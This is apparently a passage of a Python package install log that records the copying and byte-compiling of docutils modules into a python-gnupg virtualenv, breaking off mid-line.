/home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils - - creating /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/languages - - copying build/lib.linux-x86_64-2.7/docutils/languages/pt_br.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/languages - - copying build/lib.linux-x86_64-2.7/docutils/languages/fr.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/languages - - copying build/lib.linux-x86_64-2.7/docutils/languages/ca.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/languages - - copying build/lib.linux-x86_64-2.7/docutils/languages/ja.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/languages - - copying build/lib.linux-x86_64-2.7/docutils/languages/da.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/languages - - copying build/lib.linux-x86_64-2.7/docutils/languages/zh_cn.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/languages - - copying build/lib.linux-x86_64-2.7/docutils/languages/en.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/languages - - copying build/lib.linux-x86_64-2.7/docutils/languages/he.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/languages - - copying build/lib.linux-x86_64-2.7/docutils/languages/zh_tw.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/languages - - copying build/lib.linux-x86_64-2.7/docutils/languages/lt.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/languages - - copying build/lib.linux-x86_64-2.7/docutils/languages/sk.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/languages - - copying build/lib.linux-x86_64-2.7/docutils/languages/eo.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/languages - - copying build/lib.linux-x86_64-2.7/docutils/languages/de.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/languages - - copying build/lib.linux-x86_64-2.7/docutils/languages/es.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/languages - - copying build/lib.linux-x86_64-2.7/docutils/languages/fi.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/languages - - copying build/lib.linux-x86_64-2.7/docutils/languages/nl.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/languages - - copying build/lib.linux-x86_64-2.7/docutils/languages/it.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/languages - - copying build/lib.linux-x86_64-2.7/docutils/languages/__init__.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/languages - - copying build/lib.linux-x86_64-2.7/docutils/languages/sv.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/languages - - copying build/lib.linux-x86_64-2.7/docutils/languages/af.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/languages - - copying build/lib.linux-x86_64-2.7/docutils/languages/cs.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/languages - - copying build/lib.linux-x86_64-2.7/docutils/languages/ru.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/languages - - copying build/lib.linux-x86_64-2.7/docutils/languages/gl.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/languages - - copying build/lib.linux-x86_64-2.7/docutils/languages/pl.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/languages - - creating /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/utils - - copying build/lib.linux-x86_64-2.7/docutils/utils/error_reporting.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/utils - - copying build/lib.linux-x86_64-2.7/docutils/utils/roman.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/utils - - copying build/lib.linux-x86_64-2.7/docutils/utils/code_analyzer.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/utils - - copying build/lib.linux-x86_64-2.7/docutils/utils/punctuation_chars.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/utils - - copying build/lib.linux-x86_64-2.7/docutils/utils/smartquotes.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/utils - - copying build/lib.linux-x86_64-2.7/docutils/utils/urischemes.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/utils - - copying build/lib.linux-x86_64-2.7/docutils/utils/__init__.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/utils - - creating /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/utils/math - - copying build/lib.linux-x86_64-2.7/docutils/utils/math/unichar2tex.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/utils/math - - copying build/lib.linux-x86_64-2.7/docutils/utils/math/tex2unichar.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/utils/math - - copying build/lib.linux-x86_64-2.7/docutils/utils/math/math2html.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/utils/math - - copying build/lib.linux-x86_64-2.7/docutils/utils/math/__init__.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/utils/math - - copying build/lib.linux-x86_64-2.7/docutils/utils/math/latex2mathml.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/utils/math - - creating /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/transforms - - copying build/lib.linux-x86_64-2.7/docutils/transforms/components.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/transforms - - copying build/lib.linux-x86_64-2.7/docutils/transforms/peps.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/transforms - - copying build/lib.linux-x86_64-2.7/docutils/transforms/frontmatter.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/transforms - - copying build/lib.linux-x86_64-2.7/docutils/transforms/parts.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/transforms - - copying build/lib.linux-x86_64-2.7/docutils/transforms/writer_aux.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/transforms - - copying build/lib.linux-x86_64-2.7/docutils/transforms/references.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/transforms - - copying build/lib.linux-x86_64-2.7/docutils/transforms/__init__.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/transforms - - copying build/lib.linux-x86_64-2.7/docutils/transforms/universal.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/transforms - - copying build/lib.linux-x86_64-2.7/docutils/transforms/misc.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/transforms - - copying build/lib.linux-x86_64-2.7/docutils/_compat.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils - - copying build/lib.linux-x86_64-2.7/docutils/frontend.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils - - copying build/lib.linux-x86_64-2.7/docutils/io.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils - - copying build/lib.linux-x86_64-2.7/docutils/__init__.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils - - copying build/lib.linux-x86_64-2.7/docutils/statemachine.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils - - creating /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/parsers - - copying build/lib.linux-x86_64-2.7/docutils/parsers/null.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/parsers - - creating /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/parsers/rst - - copying build/lib.linux-x86_64-2.7/docutils/parsers/rst/tableparser.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/parsers/rst - - copying build/lib.linux-x86_64-2.7/docutils/parsers/rst/roles.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/parsers/rst - - creating /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/parsers/rst/languages - - copying build/lib.linux-x86_64-2.7/docutils/parsers/rst/languages/pt_br.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/parsers/rst/languages - - copying build/lib.linux-x86_64-2.7/docutils/parsers/rst/languages/fr.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/parsers/rst/languages - - copying build/lib.linux-x86_64-2.7/docutils/parsers/rst/languages/ca.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/parsers/rst/languages - - copying build/lib.linux-x86_64-2.7/docutils/parsers/rst/languages/ja.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/parsers/rst/languages - - copying build/lib.linux-x86_64-2.7/docutils/parsers/rst/languages/da.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/parsers/rst/languages - - copying build/lib.linux-x86_64-2.7/docutils/parsers/rst/languages/zh_cn.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/parsers/rst/languages - - copying build/lib.linux-x86_64-2.7/docutils/parsers/rst/languages/en.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/parsers/rst/languages - - copying build/lib.linux-x86_64-2.7/docutils/parsers/rst/languages/he.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/parsers/rst/languages - - copying build/lib.linux-x86_64-2.7/docutils/parsers/rst/languages/zh_tw.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/parsers/rst/languages - - copying build/lib.linux-x86_64-2.7/docutils/parsers/rst/languages/lt.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/parsers/rst/languages - - copying build/lib.linux-x86_64-2.7/docutils/parsers/rst/languages/sk.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/parsers/rst/languages - - copying build/lib.linux-x86_64-2.7/docutils/parsers/rst/languages/eo.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/parsers/rst/languages - - copying build/lib.linux-x86_64-2.7/docutils/parsers/rst/languages/de.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/parsers/rst/languages - - copying build/lib.linux-x86_64-2.7/docutils/parsers/rst/languages/es.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/parsers/rst/languages - - copying build/lib.linux-x86_64-2.7/docutils/parsers/rst/languages/fi.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/parsers/rst/languages - - copying build/lib.linux-x86_64-2.7/docutils/parsers/rst/languages/nl.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/parsers/rst/languages - - copying build/lib.linux-x86_64-2.7/docutils/parsers/rst/languages/it.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/parsers/rst/languages - - copying build/lib.linux-x86_64-2.7/docutils/parsers/rst/languages/__init__.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/parsers/rst/languages - - copying build/lib.linux-x86_64-2.7/docutils/parsers/rst/languages/sv.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/parsers/rst/languages - - copying build/lib.linux-x86_64-2.7/docutils/parsers/rst/languages/af.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/parsers/rst/languages - - copying build/lib.linux-x86_64-2.7/docutils/parsers/rst/languages/cs.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/parsers/rst/languages - - copying build/lib.linux-x86_64-2.7/docutils/parsers/rst/languages/ru.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/parsers/rst/languages - - copying build/lib.linux-x86_64-2.7/docutils/parsers/rst/languages/gl.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/parsers/rst/languages - - copying build/lib.linux-x86_64-2.7/docutils/parsers/rst/languages/pl.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/parsers/rst/languages - - copying build/lib.linux-x86_64-2.7/docutils/parsers/rst/states.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/parsers/rst - - copying build/lib.linux-x86_64-2.7/docutils/parsers/rst/__init__.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/parsers/rst - - creating /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/parsers/rst/include - - copying build/lib.linux-x86_64-2.7/docutils/parsers/rst/include/isomfrk-wide.txt -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/parsers/rst/include - - copying build/lib.linux-x86_64-2.7/docutils/parsers/rst/include/isolat1.txt -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/parsers/rst/include - - copying build/lib.linux-x86_64-2.7/docutils/parsers/rst/include/isolat2.txt -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/parsers/rst/include - - copying build/lib.linux-x86_64-2.7/docutils/parsers/rst/include/isoamsb.txt -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/parsers/rst/include - - copying build/lib.linux-x86_64-2.7/docutils/parsers/rst/include/README.txt -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/parsers/rst/include - - copying build/lib.linux-x86_64-2.7/docutils/parsers/rst/include/isotech.txt -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/parsers/rst/include - - copying build/lib.linux-x86_64-2.7/docutils/parsers/rst/include/isomfrk.txt -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/parsers/rst/include - - copying build/lib.linux-x86_64-2.7/docutils/parsers/rst/include/isocyr1.txt -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/parsers/rst/include - - copying build/lib.linux-x86_64-2.7/docutils/parsers/rst/include/isomopf-wide.txt -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/parsers/rst/include - - copying build/lib.linux-x86_64-2.7/docutils/parsers/rst/include/isoamso.txt -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/parsers/rst/include - - copying build/lib.linux-x86_64-2.7/docutils/parsers/rst/include/isonum.txt -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/parsers/rst/include - - copying build/lib.linux-x86_64-2.7/docutils/parsers/rst/include/mmlextra.txt -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/parsers/rst/include - - copying build/lib.linux-x86_64-2.7/docutils/parsers/rst/include/isogrk4-wide.txt -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/parsers/rst/include - - copying build/lib.linux-x86_64-2.7/docutils/parsers/rst/include/isomscr.txt -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/parsers/rst/include - - copying build/lib.linux-x86_64-2.7/docutils/parsers/rst/include/isogrk4.txt -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/parsers/rst/include - - copying build/lib.linux-x86_64-2.7/docutils/parsers/rst/include/mmlextra-wide.txt -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/parsers/rst/include - - copying build/lib.linux-x86_64-2.7/docutils/parsers/rst/include/isogrk2.txt -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/parsers/rst/include - - copying build/lib.linux-x86_64-2.7/docutils/parsers/rst/include/isoamsr.txt -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/parsers/rst/include - - copying build/lib.linux-x86_64-2.7/docutils/parsers/rst/include/s5defs.txt -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/parsers/rst/include - - copying build/lib.linux-x86_64-2.7/docutils/parsers/rst/include/xhtml1-special.txt -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/parsers/rst/include - - copying build/lib.linux-x86_64-2.7/docutils/parsers/rst/include/isobox.txt -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/parsers/rst/include - - copying build/lib.linux-x86_64-2.7/docutils/parsers/rst/include/isoamsn.txt -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/parsers/rst/include - - copying build/lib.linux-x86_64-2.7/docutils/parsers/rst/include/isodia.txt -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/parsers/rst/include - - copying build/lib.linux-x86_64-2.7/docutils/parsers/rst/include/isomscr-wide.txt -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/parsers/rst/include - - copying build/lib.linux-x86_64-2.7/docutils/parsers/rst/include/isopub.txt -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/parsers/rst/include - - copying build/lib.linux-x86_64-2.7/docutils/parsers/rst/include/isocyr2.txt -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/parsers/rst/include - - copying build/lib.linux-x86_64-2.7/docutils/parsers/rst/include/isogrk1.txt -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/parsers/rst/include - - copying build/lib.linux-x86_64-2.7/docutils/parsers/rst/include/xhtml1-symbol.txt -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/parsers/rst/include - - copying build/lib.linux-x86_64-2.7/docutils/parsers/rst/include/isoamsa.txt -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/parsers/rst/include - - copying build/lib.linux-x86_64-2.7/docutils/parsers/rst/include/isogrk3.txt -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/parsers/rst/include - - copying build/lib.linux-x86_64-2.7/docutils/parsers/rst/include/xhtml1-lat1.txt -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/parsers/rst/include - - copying build/lib.linux-x86_64-2.7/docutils/parsers/rst/include/isomopf.txt -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/parsers/rst/include - - copying build/lib.linux-x86_64-2.7/docutils/parsers/rst/include/mmlalias.txt -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/parsers/rst/include - - copying build/lib.linux-x86_64-2.7/docutils/parsers/rst/include/isoamsc.txt -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/parsers/rst/include - - creating /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/parsers/rst/directives - - copying build/lib.linux-x86_64-2.7/docutils/parsers/rst/directives/images.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/parsers/rst/directives - - copying build/lib.linux-x86_64-2.7/docutils/parsers/rst/directives/tables.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/parsers/rst/directives - - copying build/lib.linux-x86_64-2.7/docutils/parsers/rst/directives/parts.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/parsers/rst/directives - - copying build/lib.linux-x86_64-2.7/docutils/parsers/rst/directives/admonitions.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/parsers/rst/directives - - copying build/lib.linux-x86_64-2.7/docutils/parsers/rst/directives/html.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/parsers/rst/directives - - copying build/lib.linux-x86_64-2.7/docutils/parsers/rst/directives/references.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/parsers/rst/directives - - copying build/lib.linux-x86_64-2.7/docutils/parsers/rst/directives/__init__.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/parsers/rst/directives - - copying build/lib.linux-x86_64-2.7/docutils/parsers/rst/directives/body.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/parsers/rst/directives - - copying build/lib.linux-x86_64-2.7/docutils/parsers/rst/directives/misc.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/parsers/rst/directives - - copying build/lib.linux-x86_64-2.7/docutils/parsers/__init__.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/parsers - - creating /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/readers - - copying build/lib.linux-x86_64-2.7/docutils/readers/standalone.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/readers - - copying build/lib.linux-x86_64-2.7/docutils/readers/pep.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/readers - - copying build/lib.linux-x86_64-2.7/docutils/readers/doctree.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/readers - - copying build/lib.linux-x86_64-2.7/docutils/readers/__init__.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/readers - - byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/writers/odf_odt/pygmentsformatter.py to pygmentsformatter.pyc - - byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/writers/odf_odt/__init__.py to __init__.pyc - - byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/writers/null.py to null.pyc - - byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/writers/pseudoxml.py to pseudoxml.pyc - - byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/writers/html4css1/__init__.py to __init__.pyc - - byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/writers/xetex/__init__.py to __init__.pyc - - byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/writers/s5_html/__init__.py to __init__.pyc - - byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/writers/manpage.py to manpage.pyc - - byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/writers/pep_html/__init__.py to __init__.pyc - - byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/writers/__init__.py to __init__.pyc - - byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/writers/latex2e/__init__.py to __init__.pyc - - byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/writers/docutils_xml.py to docutils_xml.pyc - - byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/core.py to core.pyc - - byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/nodes.py to nodes.pyc - - byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/examples.py to examples.pyc - - byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/languages/pt_br.py to pt_br.pyc - - byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/languages/fr.py to fr.pyc - - byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/languages/ca.py to ca.pyc - - byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/languages/ja.py to ja.pyc - - byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/languages/da.py to da.pyc - - byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/languages/zh_cn.py to zh_cn.pyc - - byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/languages/en.py to en.pyc - - byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/languages/he.py to he.pyc - - byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/languages/zh_tw.py to zh_tw.pyc - - byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/languages/lt.py to lt.pyc - - byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/languages/sk.py to sk.pyc - - byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/languages/eo.py to eo.pyc - - byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/languages/de.py to de.pyc - - byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/languages/es.py to es.pyc - - byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/languages/fi.py to fi.pyc - - byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/languages/nl.py to nl.pyc - - byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/languages/it.py to it.pyc - - byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/languages/__init__.py to __init__.pyc - - byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/languages/sv.py to sv.pyc - - byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/languages/af.py to af.pyc - - byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/languages/cs.py to cs.pyc - - byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/languages/ru.py to ru.pyc - - byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/languages/gl.py to gl.pyc - - byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/languages/pl.py to pl.pyc - - byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/utils/error_reporting.py to error_reporting.pyc - - byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/utils/roman.py to roman.pyc - - byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/utils/code_analyzer.py to code_analyzer.pyc - - byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/utils/punctuation_chars.py to punctuation_chars.pyc - - byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/utils/smartquotes.py to smartquotes.pyc - - byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/utils/urischemes.py to urischemes.pyc - - byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/utils/__init__.py to __init__.pyc - - byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/utils/math/unichar2tex.py to unichar2tex.pyc - - byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/utils/math/tex2unichar.py to tex2unichar.pyc - - byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/utils/math/math2html.py to math2html.pyc - - byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/utils/math/__init__.py to __init__.pyc - - byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/utils/math/latex2mathml.py to latex2mathml.pyc - - byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/transforms/components.py to components.pyc - - byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/transforms/peps.py to peps.pyc - - byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/transforms/frontmatter.py to frontmatter.pyc - - byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/transforms/parts.py to parts.pyc - - byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/transforms/writer_aux.py to writer_aux.pyc - - byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/transforms/references.py to references.pyc - - byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/transforms/__init__.py to __init__.pyc - - byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/transforms/universal.py to universal.pyc - - byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/transforms/misc.py to misc.pyc - - byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/_compat.py to _compat.pyc - - byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/frontend.py to frontend.pyc - - byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/io.py to io.pyc - - byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/__init__.py to 